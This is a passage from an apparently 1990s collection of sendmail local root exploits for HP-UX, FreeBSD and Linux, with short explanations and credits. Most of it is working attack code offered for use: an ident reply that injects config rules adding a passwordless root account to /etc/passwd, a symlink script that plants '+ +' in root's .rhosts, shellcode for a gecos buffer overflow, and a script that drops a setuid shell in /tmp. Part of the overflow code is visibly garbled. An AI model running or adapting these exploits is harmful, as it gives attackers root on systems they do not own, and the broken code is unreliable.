  1707.     select (1, &fdset, NULL, NULL, &timeout);
  1708.     len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
  1709.     if (len <= 0)
  1710.     exit (0);
  1711.     FD_SET (0, &fdset);
  1712.     sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
  1713.     "Croot\t\t\t\t\t\t\tMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\t
  1714.     Mlocal,
  1715.     P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\tR<\"|/bin/echo toor::0:1:toor:/:
  1716. /bin/csh >> /etc/passwd\">\t\t\tR<\"|/usr/bin/chmod 4755 /usr/bin/time\">\r\n
  1717.     $rascii done");
  1718.     write (1, buffer, strlen (buffer));
  1719.     exit (0);
  1720. }
  1721.  
  1722. ................................ CuT HeRe ..................................
  1723.  
  1724. HP-UX = HP-UX 9.x =
  1725.  
  1726. #!/bin/sh
  1727. # This works on virgin HPUX 9.x sendmail.cf
  1728. # The link can be set to any file on the system, it will append the contents
  1729. # of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts)..
  1730. # - sirsyko
  1731.  
  1732. r00tDIR=`grep root /etc/passwd |cut -f6 -d:`
  1733. RunDMC=`hostname`
  1734.  
  1735. if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter
  1736. fi
  1737. if [ -f /tmp/dead.letter ]; then
  1738.  echo "Sorry, aint gonna work"
  1739.  exit
  1740. fi
  1741.  
  1742. ln -s  ${r00tDIR}/.rhosts /tmp/dead.letter
  1743.  
  1744. (
  1745. sleep 1
  1746. echo "helo"
  1747. echo "mail from: noone"
  1748. echo "rcpt to: noone@bounce"
  1749. echo "data"
  1750. echo "+ +"
  1751. echo "."
  1752. sleep 3
  1753. echo "quit"
  1754. ) | telnet ${RunDMC} 25
  1755.  
  1756. sleep 5
  1757. remsh ${RunDMC} -l root
  1758.  
  1759. ............... CuT HeRe ...............
  1760.  
  1761. What the r00t guys exploit does is just this:
  1762.  
  1763.    * creates a symbolic link to the target file (in this case '.rhosts' in
  1764.      root's directory) called '/tmp/dead.letter'.
  1765.    * Then sends a message (containing lines you want to append) to a
  1766.      non-existent user.
  1767.    * Sendmail is configured (as default) to append lines of non-recipient
  1768.      messages to '/tmp/dead.letter' and does it with root privileges. If
  1769.      '/tmp/dead.letter' is a symbolic link Sendmail will follow it and will
  1770.      overwrite the pre-existent file.
  1771.    * Probably if Sendmail configuration has been changed to make it behave
  1772.      in a different way, looking at the cf file could lead you to exploit
  1773.      the bug the same.
  1774.  
  1775. 8.7.5 gecos = 8.X.X <8.8.0 = TeSTed oN 8.6.12
  1776.  
  1777. This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996,
  1778. excerpts follow:
  1779.  
  1780. A buffer overflow condition exists that allows a user to overwrite the
  1781. information in a saved stack frame. When the function returns, the saved
  1782. frame is popped off of the stack and user code can be executed. If a user
  1783. is able to alter his/her gecos field then that user can exploit a coding
  1784. flaw in sendmail to elevate their effective UID to 0.
  1785.  
  1786. The actual problem in the code is quite apparent.
  1787.  
  1788.      Inside recipient.c we find the following:
  1789.  
  1790.        char nbuf[MAXNAME + 1];
  1791.        ...
  1792.        buildfname(pw->pw_gecos, pw->pw_name, nbuf);
  1793.  
  1794. The problem is that nbuf[MAXNAME + 1] is a fixed length buffer and as we
  1795. will soon see, buildfname() does not honor this. [ ..... ]
  1796.  
  1797. This particular problem has been fixed in Sendmail 8.8 beta.
  1798.  
  1799. Here we have an example of exploit:
  1800.  
  1801. ------------------------------ Cut Here ------------------------------------
  1802.  
  1803. /*                               Hi !                                       */
  1804. /* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0).     */
  1805. /* If you have any problems with it, send letter to me.                     */
  1806. /*                             Have fun !                                   */
  1807.  
  1808. /* -----------------   Dedicated to my beautiful lady   ------------------  */
  1809. /* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su                 */
  1810.  
  1811. #include <stdio.h>
  1812. main()
  1813. {
  1814. void make_files();
  1815.      make_files();
  1816.      system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;e
  1817. cho See result in /tmp");
  1818. }
  1819.  
  1820. void make_files()
  1821.  {
  1822.   int i,j;
  1823.   FILE *f;
  1824.   char nop_string[200];
  1825.   char code_string[]=
  1826.                       {
  1827.                          "\xeb\x50"                         /* jmp
  1828. cont */
  1829.  
  1830. /* geteip: */            "\x5d"                             /* popl
  1831. %ebp */
  1832.                          "\x55"                             /* pushl
  1833. %ebp */
  1834.                          "\xff\x8d\xc3\xff\xff\xff"         /* decl
  1835. 0xffffffc3(%ebp) */
  1836.                          "\xff\x8d\xd7\xff\xff\xff"         /* decl
  1837. 0xffffffd7(%ebp) */
  1838.                          "\xc3"                             /* ret */
  1839.  
  1840. /* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"
  1841. /* 0xffffffc3(%ebp): */ "\x3c"
  1842.                         "chmod a=rsx /tmp/sh"
  1843. /* 0xffffffd7(%ebp): */ "\x01"
  1844.                         "-leshka-leshka-leshka-leshka-"    /* reserved */
  1845.  
  1846. /* cont:  */            "\xc7\xc4\x70\xcf\xbf\xef"         /* movl
  1847. $0xefbfcf70,%esp */
  1848.                         "\xe8\xa5\xff\xff\xff"             /* call
  1849. geteip */
  1850.                         "\x81\xc5\xb4\xff\xff\xff"         /* addl
  1851. $0xb4ffffff,%ebp */
  1852.                         "\x55"                             /* pushl  %ebp */
  1853.                         "\x55"                             /* pushl  %ebp */
  1854.                         "\x68\xd0\x77\x04\x08"             /* pushl
  1855. $0x80477d0
  1856.  */
  1857.                         "\xc3"                             /* ret */
  1858.                         "-leshka-leshka-leshka-leshka-"    /* reserved */
  1859.                         "\xa0\xcf\xbf\xef"
  1860.                      };
  1861.  
  1862.   j=269-sizeof(code_string);
  1863.   for(i=0;i\"$1\"\n");
  1864.   fprintf(f,"touch -t 2510711313 \"$1\"\n");
  1865.   fclose(f);
  1866. }
  1867.  
  1868. ................................ Cut Here ................................
  1869.  
  1870. mime7to8() = 8.8.0 =
  1871.  
  1872. An attacker can simply create a very large message in which each line ends
  1873. with "=" and use it to overwrite the sendmail process's stack. Here the bug
  1874. is only described... why doesn't someone write an exploit?!
  1875.  
  1876. There is a serious bug in the mime7to8() function of sendmail 8.8.0 which
  1877. allows anyone who can send you mail to execute arbitrary code as root on
  1878. your machine. I think mime7to8() only gets invoked if you set the
  1879. undocumented "9" mailer flag. However, this flag is set by default in the
  1880. cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if you are
  1881. using an old V6 format configuration file from sendmail 8.7, you are
  1882. probably safe, but if you generated a new V7 configuration file, you are
  1883. probably vulnerable to this bug.
  1884.  
  1885. Now here are the technical details:
  1886.  
  1887. The inner loop of mime7to8() looks like this:
  1888.  
  1889.         u_char *obp;
  1890.         char buf[MAXLINE];
  1891.         u_char obuf[MAXLINE];
  1892.  
  1893.         ....
  1894.  
  1895.                 /* quoted-printable */
  1896.                 obp = obuf;
  1897.                 while (fgets(buf, sizeof buf, e->e_dfp) != NULL)
  1898.                 {
  1899.                         if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0)
  1900.                                 continue;
  1901.  
  1902.                         putline((char *) obuf, mci);
  1903.                         obp = obuf;
  1904.                 }
  1905.  
  1906. When mime_fromqp() encounters a line that ends "=\n", it chops those two
  1907. characters off and returns 0 to indicate a continuation line. This causes
  1908. the while loop to continue, reading another input line and appending its
  1909. contents to obuf. However, when the loop continues without resetting obp to
  1910. obuf, there are fewer than MAXLINE characters left in the output buffer.
  1911. This means an attacker can simply create a very large message in which each
  1912. line ends with "=". Eventually obp will move beyond the end of obuf and
  1913. start writing almost arbitrary data to the sendmail process's stack (as
  1914. long as no bytes are 0).
  1915.  
  1916. smtpd = 8.7-8.8.2 =
  1917.  
  1918. Read the exploit and don't bother:
  1919.  
  1920. ------------------------------ Cut Here --------------------------------
  1921.  
  1922. #/bin/sh
  1923. #
  1924. #
  1925. #                                   Hi !
  1926. #                This is exploit for sendmail smtpd bug
  1927. #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
  1928. #         This shell script does a root shell in /tmp directory.
  1929. #          If you have any problems with it, drop me a letter.
  1930. #                                Have fun !
  1931. #
  1932. #
  1933. #                           ----------------------
  1934. #               ---------------------------------------------
  1935. #    -----------------   Dedicated to my beautiful lady   ------------------
  1936. #               ---------------------------------------------
  1937. #                           ----------------------
  1938. #
  1939. #          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
  1940. #
  1941. #
  1942. #
  1943. echo   'main()                                                '>>leshka.c
  1944. echo   '{                                                     '>>leshka.c
  1945. echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
  1946. echo   '}                                                     '>>leshka.c
  1947. #
  1948. #
  1949. echo   'main()                                                '>>smtpd.c
  1950. echo   '{                                                     '>>smtpd.c
  1951. echo   '  setuid(0); setgid(0);                               '>>smtpd.c
  1952. echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
  1953. echo   '}                                                     '>>smtpd.c
  1954. #
  1955. #
  1956. cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
  1957. ./leshka
  1958. kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"
  1959. |head -n 1`
  1960. rm leshka.c leshka smtpd.c /tmp/smtpd
  1961. /tmp/sh
  1962.  
  1963. .............................. Cut Here ...................................
  1964.  
  1965.           |---------------------- Credits ----------------------|
  1966.  
  1967. All this info was mainly grabbed from:
  1968.  
  1969.    * Bugtraq
  1970.    * 8lgm
  1971.    * In***ax Digest
  1972.    * "Improving the Security of Your Site by Breaking Into it" By Dan
  1973.      Farmer & Wietse Venema
  1974.    * "Sendmail Bug Exploits List v.04b" By Per1com/Xer0
  1975.    * "Time For a Change" #1 'UNIX problems, for fun and exploit.' By Ghost
  1976.      in the Machine
  1977.